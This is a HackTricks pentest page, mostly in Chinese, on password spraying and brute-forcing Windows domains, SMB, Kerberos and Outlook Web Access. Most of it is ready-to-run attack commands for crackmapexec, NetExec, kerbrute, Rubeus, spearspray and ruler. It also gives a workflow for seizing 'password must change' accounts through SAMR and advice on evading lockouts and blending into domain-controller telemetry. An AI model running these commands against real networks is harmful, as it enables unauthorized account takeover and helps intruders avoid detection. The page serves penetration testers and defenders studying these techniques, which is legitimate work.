Password Spraying / Brute Force

Reading time: 12 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Password Spraying

一旦你找到几个 有效的用户名,你可以对每个被发现的用户尝试最 常见的密码(请注意环境的密码策略)。
默认情况下,最小 密码 长度7

常见用户名列表也可能有用: https://github.com/insidetrust/statistically-likely-usernames

请注意,如果尝试多个错误密码,可能会锁定一些账户(默认超过10次)。

获取密码策略

如果你有一些用户凭证或以域用户的身份获得了 shell,你可以获取密码策略

bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Exploitation(来自 Linux 或所有平台)

  • 使用 crackmapexec:
bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
  • 使用 NetExec (CME successor) 进行针对性、低噪声的 spraying,跨 SMB/WinRM:
bash
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts

# Spray a single candidate password against harvested users over SMB
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
--continue-on-success --no-bruteforce --shares

# Validate a hit over WinRM (or use SMB exec methods)
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"

# Tip: sync your clock before Kerberos-based auth to avoid skew issues
sudo ntpdate <DC_FQDN>
bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (你可以指定尝试次数以避免锁定):
bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • 使用 kerbrute (python) - 不推荐,偶尔无法工作
bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • 使用 scanner/smb/smb_login 模块的 Metasploit

  • 使用 rpcclient
bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

从 Windows

  • 使用带有 brute 模块的 Rubeus 版本:
bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • With Invoke-DomainPasswordSpray (默认可以从域生成用户,并会从域获取密码策略并根据其限制尝试次数):
bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

识别并接管 "Password must change at next logon" 账户 (SAMR)

一种低噪声的技术是尝试一个无害/空密码并捕获返回 STATUS_PASSWORD_MUST_CHANGE 的账户,这表明密码被强制过期,可以在不知道旧密码的情况下更改它。

Workflow:

  • 枚举用户 (RID brute via SAMR) 以构建目标列表:

rpcclient enumeration

bash
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
  • Spray 空 password,并在命中时继续尝试,以捕获必须在 next logon 更改的账户:
bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
  • 对于每个命中,通过 SAMR 使用 NetExec’s module 更改密码(当 "must change" 被设置时不需要旧密码):
bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"

# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol

操作说明:

  • 在执行基于 Kerberos 的操作前,确保主机时钟与 DC 同步: sudo ntpdate <dc_fqdn>.
  • 在某些模块(例如 RDP/WinRM)中,若看到 [+] 但没有 (Pwn3d!),表示 creds 有效但该账号缺少交互式登录权限。

Brute Force

bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)

Kerberos pre-auth–based spraying 相较于 SMB/NTLM/LDAP bind attempts 能减少噪声,并且更符合 AD lockout policies。SpearSpray 结合了 LDAP 驱动的目标定位、pattern engine 和策略感知(域策略 + PSOs + badPwdCount 缓冲)来进行精确且安全的喷洒。它还可以在 Neo4j 中标记被攻破的主体以便 BloodHound 路径分析。

Key ideas:

  • LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
  • Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
  • Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
  • Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
  • Throughput control with threads, jitter, and max requests per second.
  • Optional Neo4j integration to mark owned users for BloodHound.

Basic usage and discovery:

bash
# List available pattern variables
spearspray -l

# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local

# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl

目标定位与模式控制:

bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"

# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME

隐蔽性与安全控制:

bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10

# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2

Neo4j/BloodHound 丰富化:

bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687

模式系统概述 (patterns.txt):

text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}

Available variables include:

  • {name}, {samaccountname}
  • 来自每个用户的 pwdLastSet(或 whenCreated)的时间变量: {year}, {short_year}, {month_number}, {month_en}, {season_en}
  • 组合辅助和组织令牌: {separator}, {suffix}, {extra}

Operational notes:

  • 优先使用 -dc 查询 PDC-emulator,以读取最权威的 badPwdCount 和策略相关信息。
  • badPwdCount 的重置在观测窗口之后的下一次尝试时触发;使用阈值和时机来保持安全。
  • Kerberos pre-auth 尝试会在 DC telemetry 中以 4768/4771 的形式出现;使用 jitter 和 rate-limiting 来混入正常流量。

Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.

Outlook Web Access

有多个工具可用于 password spraying outlook

要使用这些工具,你需要一个用户列表以及一个密码或一个用于 password spraying 的短密码列表。

bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks